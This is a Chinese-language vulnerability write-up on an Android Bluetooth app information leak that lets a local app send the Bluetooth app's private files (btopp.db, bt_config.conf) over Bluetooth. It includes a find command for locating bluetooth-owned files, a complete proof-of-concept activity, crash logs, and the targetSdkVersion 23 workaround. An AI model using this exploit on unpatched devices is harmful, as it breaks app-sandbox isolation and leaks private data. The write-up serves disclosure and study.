Android本月的安全公告,修复了我们发现的另一个蓝牙App信息泄露漏洞,该漏洞允许攻击者获取 bluetooth用户所拥有的私有文件,绕过了将应用数据与其他应用隔离的操作系统防护功能。
漏洞信息如下:
在发现这个漏洞之前,我浏览了Android 2017年2月的安全公告,其中两个并排的高危信息泄露漏洞引起了我的注意:
查看这两个信息漏洞的补丁注释,分别为
涵义非常清晰,似乎邮件和短信App均遗漏了对发送的文件进行验证,本地攻击者可以添加App私有目录的数据文件发送出去,从而破坏了Android沙箱所提供的应用数据相互隔离的安全防护功能。
这两个漏洞可以归纳为一类针对具有对外发送或共享功能App的攻击,Android中会不会还有类似的功能具有类似的漏洞?另外,注意到上述两个漏洞的发现者并非一人,只是巧合地同时出现在2月份的安全公告之中,发现者似乎还没有意识到这类攻击的通用性,也许真的还没有搜刮干净?
除了短信、邮件,很容易想到蓝牙也是Android一个很重要的信息对外发送出口。通常,我们选择一个文件的分享按钮,选择蓝牙,就可以触发蓝牙的文件发送功能,这是通过蓝牙App暴露的BluetoothOppLauncherActivity所实现。该Activity根据传入的Intent.ACTION_SEND
或Intent.ACTION_SEND_MULTIPLE
,启动一个线程处理单个文件或多个文件的对外发送。主要代码如下
/*
* Other application is trying to share a file via Bluetooth,
* probably Pictures, videos, or vCards. The Intent should contain
* an EXTRA_STREAM with the data to attach.
*/
if (action.equals(Intent.ACTION_SEND)) {
// TODO: handle type == null case
final String type = intent.getType();
final Uri stream = (Uri)intent.getParcelableExtra(Intent.EXTRA_STREAM);
CharSequence extra_text = intent.getCharSequenceExtra(Intent.EXTRA_TEXT);
// If we get ACTION_SEND intent with EXTRA_STREAM, we'll use the
// uri data;
// If we get ACTION_SEND intent without EXTRA_STREAM, but with
// EXTRA_TEXT, we will try send this TEXT out; Currently in
// Browser, share one link goes to this case;
if (stream != null && type != null) {
if (V) Log.v(TAG, "Get ACTION_SEND intent: Uri = " + stream + "; mimetype = "
+ type);
// Save type/stream, will be used when adding transfer
// session to DB.
Thread t = new Thread(new Runnable() {
public void run() {
BluetoothOppManager.getInstance(BluetoothOppLauncherActivity.this)
.saveSendingFileInfo(type,stream.toString(), false);
//Done getting file info..Launch device picker and finish this activity
launchDevicePicker();
finish();
}
});
t.start();
return;
} else {
Log.w(TAG,"Error trying to do set text...File not created!");
finish();
return;
}
} else {
Log.e(TAG, "type is null; or sending file URI is null");
finish();
return;
}
} else if (action.equals(Intent.ACTION_SEND_MULTIPLE)) {
final String mimeType = intent.getType();
final ArrayList<Uri> uris = intent.getParcelableArrayListExtra(Intent.EXTRA_STREAM);
if (mimeType != null && uris != null) {
if (V) Log.v(TAG, "Get ACTION_SHARE_MULTIPLE intent: uris " + uris + "\n Type= "
+ mimeType);
Thread t = new Thread(new Runnable() {
public void run() {
BluetoothOppManager.getInstance(BluetoothOppLauncherActivity.this)
.saveSendingFileInfo(mimeType,uris, false);
//Done getting file info..Launch device picker
//and finish this activity
launchDevicePicker();
finish();
}
});
t.start();
那么,传入蓝牙App私有数据试试!先寻找bluetooth所拥有的私有文件,
angler:/ # find /data -user bluetooth -exec ls -al {} \; 2> /dev/null
可以选定两个bluetooth所拥有、有实质内容的文件作为发送对象,file:///data/user_de/0/com.android.bluetooth/databases/btopp.db
和file:///data/misc/bluedroid/bt_config.conf
很快可以写出PoC
public class MainActivity extends AppCompatActivity {
Button m_btnSendPriv = null;
Button m_btnSendMPriv = null;
private final static String PRIV_FILE_URI1 = "file:///data/user_de/0/com.android.bluetooth/databases/btopp.db";
private final static String PRIV_FILE_URI2 = "file:///data/misc/bluedroid/bt_config.conf";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
m_btnSendPriv = (Button)findViewById(R.id.send_private);
m_btnSendPriv.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent(Intent.ACTION_SEND);
intent.setType("text/plain");
Uri uri = Uri.parse(PRIV_FILE_URI1);
intent.putExtra(Intent.EXTRA_STREAM, uri);
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
startActivity(intent);
}
});
m_btnSendMPriv = (Button)findViewById(R.id.send_private_multiple);
m_btnSendMPriv.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent(Intent.ACTION_SEND_MULTIPLE);
intent.setType("text/plain");
ArrayList<Uri> uris = new ArrayList<Uri>();
uris.add(Uri.parse(PRIV_FILE_URI1));
uris.add(Uri.parse(PRIV_FILE_URI2));
intent.putExtra(Intent.EXTRA_STREAM, uris);
intent.setComponent(new ComponentName("com.android.bluetooth",
"com.android.bluetooth.opp.BluetoothOppLauncherActivity"));
startActivity(intent);
}
});
}
}
真的那么简单吗?编译PoC,运行却抛出了安全异常!
--------- beginning of crash
06-12 10:32:43.930 16171 16171 E AndroidRuntime: FATAL EXCEPTION: main
06-12 10:32:43.930 16171 16171 E AndroidRuntime: Process: ms509.com.testaospbluetoothopplauncher, PID: 16171
06-12 10:32:43.930 16171 16171 E AndroidRuntime: android.os.FileUriExposedException: file:///data/user_de/0/com.android.bluetooth/databases/btopp.db exposed beyond app through ClipData.Item.getUri()
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.os.StrictMode.onFileUriExposed(StrictMode.java:1799)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.net.Uri.checkFileUriExposed(Uri.java:2346)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.content.ClipData.prepareToLeaveProcess(ClipData.java:832)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.content.Intent.prepareToLeaveProcess(Intent.java:8909)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.content.Intent.prepareToLeaveProcess(Intent.java:8894)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.app.Instrumentation.execStartActivity(Instrumentation.java:1517)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.app.Activity.startActivityForResult(Activity.java:4224)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.support.v4.app.BaseFragmentActivityJB.startActivityForResult(BaseFragmentActivityJB.java:50)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.support.v4.app.FragmentActivity.startActivityForResult(FragmentActivity.java:79)
06-12 10:32:43.930 16171 16171 E AndroidRuntime: at android.app.Activity.startActivityForResult(Activity.java:4183)
原来触发了FileUriExposed错误,出于安全考虑,Android SDK 23以上就不能在Intent中传递file:// Uri,见官方说明:
对于面向 Android 7.0 的应用,Android 框架执行的 StrictMode API 政策禁止在您的应用外部公开 file:// URI。如果一项包含文件 URI 的 intent 离开您的应用,则应用出现故障,并出现 FileUriExposedException 异常。要在应用间共享文件,您应发送一项 content:// URI,并授予 URI 临时访问权限。进行此授权的最简单方式是使用 FileProvider 类。
似乎宣判了死刑!心有不甘,继续分析BluetoothOppLauncherActivity后面的文件处理流程,调用链为saveSendingFileInfo--> generateFileInfo,查看generateFileInfo函数,我们发现其实是支持传入file:// URI的。
public static BluetoothOppSendFileInfo generateFileInfo(Context context, Uri uri,
String type) {
ContentResolver contentResolver = context.getContentResolver();
String scheme = uri.getScheme();
String fileName = null;
String contentType;
long length = 0;
// Support all Uri with "content" scheme
// This will allow more 3rd party applications to share files via
// bluetooth
if ("content".equals(scheme)) {
contentType = contentResolver.getType(uri);
Cursor metadataCursor;
try {
metadataCursor = contentResolver.query(uri, new String[] {
OpenableColumns.DISPLAY_NAME, OpenableColumns.SIZE
}, null, null, null);
} catch (SQLiteException e) {
// some content providers don't support the DISPLAY_NAME or SIZE columns
metadataCursor = null;
} catch (SecurityException e) {
Log.e(TAG, "generateFileInfo: Permission error, could not access URI: " + uri);
return SEND_FILE_INFO_ERROR;
}
if (metadataCursor != null) {
try {
if (metadataCursor.moveToFirst()) {
fileName = metadataCursor.getString(
metadataCursor.getColumnIndex(OpenableColumns.DISPLAY_NAME));
length = metadataCursor.getLong(
metadataCursor.getColumnIndex(OpenableColumns.SIZE));
if (D) Log.d(TAG, "fileName = " + fileName + " length = " + length);
}
} finally {
metadataCursor.close();
}
}
if (fileName == null) {
// use last segment of URI if DISPLAY_NAME query fails
fileName = uri.getLastPathSegment();
}
} else if ("file".equals(scheme)) { // Notice!!!
fileName = uri.getLastPathSegment();
contentType = type;
File f = new File(uri.getPath());
length = f.length();
} else {
// currently don't accept other scheme
return SEND_FILE_INFO_ERROR;
进一步查阅相关资料发现,原来FileUriExposed错误只是SDK引入的一项安全机制,仅仅是为了防止Intent的接收方访问发起方的私有文件。但是在我们这种攻击场景下,我们是要Intent的接收方BluetoothOppLauncherActivity访问其自己的私有文件,而且查看上述代码,既有对file:// URI的支持,也缺乏对文件是否属于私有目录的验证,Why not?
既然是SDK 23以后引入的安全机制,那么我们把build.gradle中的targetSdkVersion从原先的25改为23,重新编译运行,就可以将Bluetooth App的私有文件通过蓝牙发送出去,而这些文件原本连用户均无法获取,这就打破了Android沙箱的应用间数据隔离机制。至此,大功告成!